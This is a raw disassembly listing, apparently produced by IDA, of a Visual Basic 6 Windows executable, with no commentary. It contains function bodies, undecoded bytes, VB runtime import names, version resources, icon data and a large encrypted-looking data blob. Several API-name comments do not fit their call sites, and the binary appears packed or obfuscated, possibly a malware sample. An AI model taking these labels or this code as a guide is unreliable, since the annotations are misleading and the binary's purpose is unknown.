		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011A8h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	[edx], esi
		mov	ecx, [eax]
		push	ecx
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-50h], esi
		call	dword ptr ds:loc_401015+3
		mov	ecx, eax
		call	dword ptr ds:loc_401068+4
		mov	edi, dword ptr ds:loc_401105+3
		mov	ebx, dword ptr ds:loc_401013+1
		mov	esi, eax


loc_41D2E5:				; CODE XREF: .data:0041D35Cj
		test	si, si
		jle	loc_41D3B4
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		movsx	ecx, si
		mov	[ebp-48h], edx
		push	eax
		lea	edx, [ebp-50h]
		push	ecx
		lea	eax, [ebp-40h]
		push	edx
		push	eax
		mov	dword ptr [ebp-28h], 1
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	ecx, [ebp-40h]
		push	ecx
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		lea	edx, [ebp-40h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		push	ecx
		push	offset sub_4020D8
		call	dword ptr ds:loc_40105B+5
		test	eax, eax
		jz	short loc_41D35E
		sub	si, 1
		jo	loc_41D40F
		jmp	short loc_41D2E5
; ---------------------------------------------------------------------------


loc_41D35E:				; CODE XREF: .data:0041D350j
		mov	edx, [ebp+0Ch]
		lea	eax, [ebp-30h]
		mov	[ebp-48h], edx
		push	eax
		lea	ecx, [ebp-50h]
		sub	si, 1
		push	1
		lea	edx, [ebp-40h]
		push	ecx
		push	edx
		jo	loc_41D40F
		mov	[ebp-28h], si
		mov	dword ptr [ebp-30h], 2
		mov	dword ptr [ebp-50h], 4008h
		call	dword ptr ds:loc_40104D+3
		lea	eax, [ebp-40h]
		push	eax
		call	ebx	; GetShortPathNameA
		mov	edx, eax
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-40h]
		lea	edx, [ebp-30h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch


loc_41D3B4:				; CODE XREF: .data:0041D2E8j
		push	404790h
		jmp	short loc_41D3DE
; ---------------------------------------------------------------------------
		db 0F6h
		dd 7404FC45h, 0E04D8D09h, 111815FFh, 458D0040h,	0D04D8DC0h
		dd 26A5150h, 101C15FFh,	0C4830040h
		db 0Ch,	0C3h
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: .data:0041D3B9j
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_401118
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 52FF108Bh, 10458B08h, 89E04D8Bh, 0FC458B08h
		dd 5FEC4D8Bh, 0D89645Eh, 0
		dd 5DE58B5Bh
		db 0C2h, 0Ch, 0
; ---------------------------------------------------------------------------


loc_41D40F:				; CODE XREF: .data:0041D356j
					; .data:0041D376j
		call	dword ptr ds:loc_4010B7+1
		nop
		nop
		nop
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011B8
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	[ebp-18h], esi
		mov	eax, [ebp+8]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+8]
		mov	eax, [ebp+14h]
		mov	cx, [ebp-18h]
		mov	[eax], cx
		mov	eax, [ebp-4]
		mov	ecx, [ebp-14h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 90h
		dd 3 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011C0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-78h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-28h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	ebx, [ebp-64h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		lea	eax, [ebp-18h]
		push	1
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	4028E0h
		push	ecx
		mov	[edx+4], ebx
		mov	[ebp-70h], esi
		mov	dword ptr [ebp-78h], 800Bh
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-48h]
		mov	edi, eax
		call	dword ptr ds:loc_40100C
		cmp	di, si
		jz	short loc_41D594
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	4028FCh
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	ecx
		mov	[edx+4], ebx
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401006+2


loc_41D594:				; CODE XREF: .data:0041D554j
		push	404971h
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------
		db 8Dh
		dd 4D8DA845h, 6A5150B8h, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------


loc_41D5AF:				; CODE XREF: .data:0041D599j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0B4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011D0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-4Ch]
		mov	[ebp-24h], esi
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-5Ch], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-8Ch], esi
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		push	esi
		lea	edx, [ebp-5Ch]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-5Ch]
		lea	ecx, [ebp-34h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	edi, [ebp-78h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		mov	ebx, [ebp-70h]
		lea	eax, [ebp-4Ch]
		mov	[edx], ecx
		push	1
		push	4028E0h
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[ebp-84h], esi
		mov	dword ptr [ebp-8Ch], 800Bh
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		lea	edx, [ebp-8Ch]
		push	eax
		push	edx
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-5Ch]
		mov	[ebp-0C0h], eax
		call	dword ptr ds:loc_40100C
		cmp	[ebp-0C0h], si
		jz	short loc_41D718
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-4Ch]
		push	1
		push	4028FCh
		mov	[edx], ecx
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401006+2


loc_41D718:				; CODE XREF: .data:0041D6DBj
		mov	edx, [ebp-4Ch]
		push	edx
		push	40291Ch
		call	dword ptr ds:loc_401026+2
		mov	edx, 0Bh
		sub	esp, 10h
		mov	[ebp-8Ch], edx
		mov	[ebp-0ACh], edx
		mov	edx, esp
		mov	ecx, 8
		mov	[ebp-5Ch], ecx
		mov	[ebp-54h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-58h]
		sub	esp, 10h
		mov	dword ptr [ebp-84h], 0FFFFFFFFh
		mov	[edx+4], ecx
		mov	ecx, esp
		sub	esp, 10h
		mov	[edx+8], eax
		mov	eax, [ebp-50h]
		mov	[edx+0Ch], eax
		mov	edx, [ebp-8Ch]
		mov	eax, [ebp-88h]
		mov	[ecx], edx
		mov	edx, [ebp-84h]
		mov	[ecx+4], eax
		mov	eax, [ebp-80h]
		mov	[ecx+8], edx
		mov	edx, [ebp-0ACh]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0A8h]
		mov	ecx, esp
		push	3
		push	402930h
		mov	[ecx], edx
		mov	edx, [ebp-0A0h]
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		mov	[ecx+0Ch], edx
		lea	ecx, [ebp-6Ch]
		push	ecx
		call	dword ptr ds:loc_4010FC
		add	esp, 40h
		lea	edx, [ebp-24h]
		push	eax
		push	edx
		call	dword ptr ds:loc_4010EA+2
		lea	ecx, [ebp-5Ch]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-38h]
		push	1
		push	402950h
		mov	[edx], ecx
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-24h]
		push	eax
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	esi
		push	ecx
		call	dword ptr ds:loc_401100
		push	404BFFh
		jmp	short loc_41D831
; ---------------------------------------------------------------------------
		db 8Dh,	55h, 94h
		dd 52A4458Dh, 0FF026A50h, 40101C15h, 0CC48300h
		db 0C3h
; ---------------------------------------------------------------------------


loc_41D831:				; CODE XREF: .data:0041D81Bj
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	edi	; PeekMessageA
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 851FF08h,	8BFC458Bh, 5E5FEC4Dh, 0D8964h
		dd 5B000000h, 0C25DE58Bh, 9090000Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011E0h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	offset sub_4028A8
		push	edx
		call	dword ptr ds:loc_40109A+2
		mov	edi, dword ptr ds:loc_4010EA+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-38h]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	402964h
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		mov	[edx+4], ecx
		lea	ecx, [ebp-38h]
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	edi	; PeekMessageA
		push	esi
		lea	ecx, [ebp-28h]
		push	402974h
		push	ecx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 0Ch
		push	404D11h
		jmp	short loc_41D94F
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0B8h
		dd 100C15FFh
		db 40h,	0, 0C3h
; ---------------------------------------------------------------------------


loc_41D94F:				; CODE XREF: .data:0041D943j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh, 9E9E9E9Eh, 4D5Ch, 2 dup(0FFFFFFFFh),	4E80h
		dd 1000h, 5 dup(0)
		dd 4E8Eh, 4E98h, 4EA6h,	4EB6h, 4EC6h, 4ED6h, 4EE8h, 4EF8h
		dd 4F0Ch, 4F1Ch, 4F2Ah,	4F38h, 4F50h, 4F60h, 4F74h, 4F82h
		dd 4F92h, 4FA4h, 4FB6h,	4FCAh, 80000278h, 4FD4h, 4FE2h
		dd 4FF4h, 5008h, 5016h,	5026h, 5038h, 5044h, 5052h, 5060h
		dd 5074h, 80000258h, 508Ah, 5094h, 50B0h, 800002C7h, 50C6h
		dd 50D4h, 800002CCh, 50E6h, 50FAh, 510Ch, 511Ah, 80000285h
		dd 5128h, 5132h, 5148h,	5158h, 80000288h, 5168h, 517Ah
		dd 518Ch, 800002A9h, 519Ch, 51B0h, 51C2h, 800002ADh, 80000064h
		dd 51D0h, 51E2h, 51F6h,	5204h, 5214h, 522Ch, 5244h, 524Eh
		dd 525Eh, 5268h, 5272h,	527Ch, 528Ch, 0
aMsvbvm60_dll_2	db 'MSVBVM60.DLL',0
		align 4
a_cicos_0	db '_CIcos',0
		align 10h
		dd 615F0000h, 665F6A64h, 6E617470h, 0
a__vbavarmove_2	db '__vbaVarMove',0
		align 10h
a__vbafreevar_3	db '__vbaFreeVar',0
		align 10h
a__vbaarymove_2	db '__vbaAryMove',0
		align 10h
a__vbastrvarm_2	db '__vbaStrVarMove',0
		dd 5F5F0000h, 4C616276h, 73426E65h, 7274h, 5F5F0000h, 46616276h
		dd 56656572h, 694C7261h, 7473h,	615F0000h, 665F6A64h, 5F766964h
		dd 34366Dh, 615F0000h, 665F6A64h, 6D657270h, 31h, 62765F5Fh
		dd 72745361h, 746143h, 5F5F0000h, 48616276h, 75736572h
		dd 6843746Ch, 4F6B6365h, 6A62h,	615F0000h, 665F6A64h, 5F766964h
		dd 32336Dh, 5F5F0000h, 41616276h, 65447972h, 75727473h
		dd 7463h, 5F5F0000h, 4F616276h,	65536A62h, 74h,	62765F5Fh
		dd 456E4F61h, 726F7272h, 0
a_adj_fdiv_m1_0	db '_adj_fdiv_m16i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 36316D5Fh, 69h, 62765F5Fh
		dd 72615661h, 65646E49h, 616F4C78h, 64h, 7349435Fh, 6E69h
		dd 5F5F0000h, 43616276h, 74736B68h, 6Bh, 62765F5Fh, 6C694661h
		dd 6F6C4365h, 6573h, 56450000h,	5F544E45h, 4B4E4953h, 6464415Fh
		dd 666552h, 5F5F0000h, 53616276h, 6D437274h, 70h, 62765F5Fh
		dd 72615661h, 45747354h, 71h, 62765F5Fh, 74755061h, 656E774Fh
		dd 3372h, 5F5F0000h, 49616276h,	344932h, 5F5F0000h, 4F616276h
		dd 61566A62h, 72h, 6A64615Fh, 6170665Fh, 6E6174h, 5F5F0000h
		dd 4C616276h, 49657461h, 6C614364h, 644C6Ch, 56450000h
		dd 5F544E45h, 4B4E4953h, 6C65525Fh, 65736165h, 0
a_cisqrt_0	db '_CIsqrt',0
		dd 56450000h, 5F544E45h, 4B4E4953h, 6575515Fh, 6E497972h
		dd 66726574h, 656361h, 5F5F0000h, 45616276h, 70656378h
		dd 6E614874h, 72656C64h, 0
a_adj_fprem_0	db '_adj_fprem',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 34366D5Fh, 0
a__vbafpexcep_0	db '__vbaFPException',0
		align 4
a__vbastrvarv_2	db '__vbaStrVarVal',0
		align 4
		dd 5F5F0000h, 56616276h, 61437261h, 74h, 62765F5Fh, 56324961h
		dd 7261h, 435F0000h, 676F6C49h,	0
a__vbaerrorov_2	db '__vbaErrorOverflow',0
		align 10h
		dd 5F5F0000h, 46616276h, 4F656C69h, 6E6570h, 5F5F0000h
		dd 56616276h, 56327261h, 6365h,	615F0000h, 665F6A64h, 5F766964h
		dd 6932336Dh, 0
a_adj_fdivr_m_0	db '_adj_fdivr_m32i',0
		dd 5F5F0000h, 53616276h, 6F437274h, 7970h, 5F5F0000h, 46616276h
		dd 53656572h, 694C7274h, 7473h,	615F0000h, 665F6A64h, 72766964h
		dd 32336D5Fh, 0
a_adj_fdiv_r_0	db '_adj_fdiv_r',0
		dd 5F5F0000h, 56616276h, 65537261h, 72615674h, 0
a__vbalatemem_2	db '__vbaLateMemCall',0
		align 10h
a__vbavardup_2	db '__vbaVarDup',0
		dd 5F5F0000h, 56616276h, 6F437261h, 7970h, 5F5F0000h, 56616276h
		dd 614C7261h, 654D6574h, 6C61436Dh, 644C6Ch, 5F5F0000h
		dd 56616276h, 65537261h, 6A624F74h, 72646441h, 6665h, 435F0000h
		dd 61746149h, 6Eh, 62765F5Fh, 72745361h, 65766F4Dh, 0
a_allmul_0	db '_allmul',0
		dd 435F0000h, 6E617449h, 0
a_ciexp_0	db '_CIexp',0
		align 4
		dd 5F5F0000h, 46616276h, 53656572h, 7274h, 5F5F0000h, 46616276h
		dd 4F656572h, 6A62h, 75Ah dup(0)
		dd 46F720A7h, 0
		dd 30000h, 3, 80000058h, 0Eh, 80000040h, 10h, 80000028h
		dd 0
		dd 46F720A7h, 0
		dd 10000h, 1, 80000080h, 0
		dd 46F720A7h, 0
		dd 10000h, 1, 80000098h, 0
		dd 46F720A7h, 0
		dd 30000h, 7531h, 800000E0h, 7532h, 800000C8h, 7533h, 800000B0h
		dd 0
		dd 46F720A7h, 0
		dd 10000h, 409h, 0F8h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 108h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 118h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 128h, 0
		dd 46F720A7h, 0
		dd 10000h, 0
		dd 138h, 7150h,	1F0h, 4B0h, 0
		dd 7340h, 30h, 4B0h, 0
		dd 7370h, 128h,	4B0h, 0
		dd 7498h, 2E8h,	4B0h, 0
		dd 7780h, 130h,	4B0h, 3	dup(0)
		dd 3401F0h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 3 dup(0)
		dd 4, 1, 3 dup(0)
		dd 44h,	560000h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 150h, 530001h, 720074h, 6E0069h, 460067h
		dd 6C0069h, 490065h, 66006Eh, 6Fh, 12Ch, 300001h, 300034h
		dd 300039h, 420034h, 30h, 160038h, 500001h, 6F0072h, 750064h
		dd 740063h, 61004Eh, 65006Dh, 0
aT200700923_2:
		unicode	0, <T200700923>,0
		align 4
		unicode	0, <,>
		dw 0Ah
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a1_00_0:
		unicode	0, <1.00>,0
		align 4
a0_0:
		unicode	0, <0>
		dw 0Ah
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0031h, 300030h, 0
		dd 160038h, 490001h, 74006Eh, 720065h, 61006Eh,	4E006Ch
		dd 6D0061h, 65h, 4D0076h, 300057h, 610033h, 300031h, 360036h
		dd 0
		dd 1E0048h, 4F0001h, 690072h, 690067h, 61006Eh,	46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 4D0076h, 300057h, 610033h
		dd 300031h, 360036h, 65002Eh, 650078h, 0
		dd 10000h, 20200003h, 10002h, 1300001h,	75310000h, 102020h
		dd 40001h, 2E8h, 10107532h, 10010h, 1280004h, 75330000h
		dd 28h,	10h, 20h, 40001h, 0
		dd 0C0h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 7 dup(0)
		dd 77F008h, 0FF080000h,	7077F0FFh, 0FFFF0F00h, 70F0FFh
		dd 0FFFF0F00h, 0F0FFh, 0FFFF0F00h, 0F0FFh, 0FFFF0F00h
		dd 80h,	800F00h, 0E00Eh, 0EE0E0000h, 0E0h, 0E00E00h, 9 dup(0)
		dd 2 dup(0FFFFh), 8FFFh, 3F8h, 1C0h, 7C0h, 5 dup(0FC0h)
		dd 7FC0h, 0FFC7h, 3 dup(0FFFFh), 28h, 20h, 40h,	40001h
		dd 0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 1Ah dup(0)
		dd 7FF8F00h, 70h, 0
		dd 8F000000h, 7FFFFFFh,	7077h, 0
		dd 0FFFFFF08h, 7FFFFFFh, 707777h, 0FF000000h, 0FFFFFFFFh
		dd 7FFFFFFh, 7077h, 0FF000000h,	0FFFFFFFFh, 7FFFFFFh, 70h
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 8888FFh, 0
		dd 0FF000000h, 88FFFFFFh, 88h, 0
		dd 0FF000000h, 8888FFh,	0EEEE00h, 0
		dd 88000000h, 0EE000088h, 0EEh,	2 dup(0)
		dd 0EEEE00h, 2 dup(0)
		dd 0EE000000h, 0EEh, 22h dup(0)
		dd 5 dup(0FFFFFFFFh), 0FFC1FFFFh, 7F00FCFFh, 1F0080FFh
		dd 70000F8h, 1F0000F8h,	7F0000F8h, 0Bh dup(0FF0100F8h)
		dd 0FF3F00F8h, 0FFFF03F8h, 0FFFF3FF8h, 0FFFFFFFBh, 6 dup(0FFFFFFFFh)
		dd 28h,	20h, 40h, 10001h, 0
		dd 100h, 5 dup(0)
		dd 0FFFFFFh, 5 dup(0FFFFFFFFh),	0FFC1FFFFh, 7F3CFCFFh
		dd 1FFCC3FFh, 7FC3FF8h,	1FFCFFFBh, 7FFCFFFBh, 8	dup(0FFFDFFFBh)
		dd 0FFC1FFFBh, 0FF3DFCFBh, 0FFC1C3FBh, 0FF3F3CF8h, 0FFFFC3FBh
		dd 0FFFF3FF8h, 0FFFFFFFBh, 0Bh dup(0FFFFFFFFh),	0FFC1FFFFh
		dd 7F00FCFFh, 1F00C0FFh, 70000F8h, 1F0000F8h, 7F0000F8h
		dd 0Bh dup(0FF0100F8h),	0FF3F00F8h, 0FFFF03F8h,	0FFFF3FF8h
		dd 0FFFFFFFBh, 6 dup(0FFFFFFFFh), 1D4h dup(0)
dword_420C58	dd 6757D2F0h, 2C7F6B1Dh, 481BE079h, 7590CB63h, 0D959187Ah
					; DATA XREF: sub_402C37+9Ao
					; sub_402C37:loc_402CF2o ...
		dd 0A47B683Bh, 0DB87ADh, 8B4077BDh, 0C645D981h,	7C88E364h
		dd 64A55F48h, 9C3C8409h, 14652590h, 0AE6912DAh,	6809F014h
		dd 0A2102E62h, 450A8364h, 0DA1E9043h, 9AD64E8Dh, 0CF3290h
		dd 0AF24479h, 4A24F495h, 0A42321A2h, 282A4B40h,	4094128h
		dd 1F3F4AD3h, 8B88609Fh, 1B1DEF0Dh, 0C8329B17h,	11111E10h
		dd 15129895h, 0CE086219h, 6D2CEECh, 76903EFBh, 34B31B2Dh
		dd 4218A242h, 8322C603h, 628B23E1h, 0F8FA6A38h,	0B2813FDFh
		dd 0D732B615h, 652E39C1h, 67DC82AFh, 0B99596BBh, 0DC35099Ch
		dd 0D21499C9h, 0E82CB433h, 0D68F8F43h, 0D66F6CF9h, 0C94B85F8h
		dd 3D5CC717h, 0E8F8F78Ah, 2F5E6FECh, 0A87EF712h, 5BE5E478h
		dd 8373D5F3h, 0FEF89E77h, 2E1F59B7h, 0CBA57EAFh, 0FD53938Fh
		dd 0FF8E478Ah, 87F3747Ch, 0D6FEA59Fh, 0D0EA637Dh, 3D87FA45h
		dd 96A59A33h, 0BD1B1D05h, 0D4C75CE0h, 78EE75Eh,	76A74FBAh
		dd 0AAAF782Dh, 7E1FDF5Fh, 1E6E3BE2h, 874A64B8h,	0AB33B965h
		dd 6B79F6FBh, 0EA5AD564h, 0CF57BD5Ch, 52EC5533h, 5D3BD057h
		dd 83709503h, 96CD7171h, 4E9770CDh, 0E7FA50FFh,	0EE1B73C4h
		dd 0EF509A6Fh, 1C50BF5Eh, 0F3C369DDh, 0BCCDFC1h, 28FD9EC8h
		dd 0EBDD15E4h, 38CEDF83h, 0E95D6CD6h, 37BEDFDh,	70317FB7h
		dd 8CCF28C9h, 0BD56CFA8h, 0EA9C897Bh, 0A2EBF1DEh, 0EE99FA9Eh
		dd 0B57926EBh, 71181F98h, 0FD16F7E7h, 6D7A37CEh, 0EA6E5FA9h
		dd 0ADF26F23h, 7C57B363h, 0D65C2FA3h, 6BFA7263h, 8CF86EFBh
		dd 0E1FD7B7Eh, 0C5BD19E1h, 623A0B85h, 9ECE3B8Bh, 0B3CB20F3h
		dd 1FA7AFF3h, 809EFE80h, 736B94BFh, 0BD9A4F97h,	76E2297Dh
		dd 53A33F87h, 163ECFA7h, 0CBA2AB3Dh, 0FEC3814Fh, 26F129F7h
		dd 45D21BB4h, 0D3DDB86Bh, 0A99E6187h, 0FA6713CFh, 2CD10D1Fh
		dd 0F9076F1Fh, 2A9A4334h, 78051A37h, 22DC939Ah,	541DCB65h
		dd 0C2AC2E7Ah, 6F4A8A2Bh, 0B55DBF4Ch, 3E8AD5F9h, 9AAB9715h
		dd 0F65E350Dh, 0E1519A9Eh, 0F9389E81h, 0D11BD678h, 5B96217h
		dd 90F59C3Fh, 355E6F97h, 3FADF07Eh, 12A333EAh, 23E4F876h
		dd 36A2AF3Fh, 0E6FAF4F6h, 1B6E8297h, 0E61FF71Bh, 3D4C264Eh
		dd 0B3509299h, 45F7A43Dh, 77579A9Fh, 71FC7D0Ch,	45D5CD69h
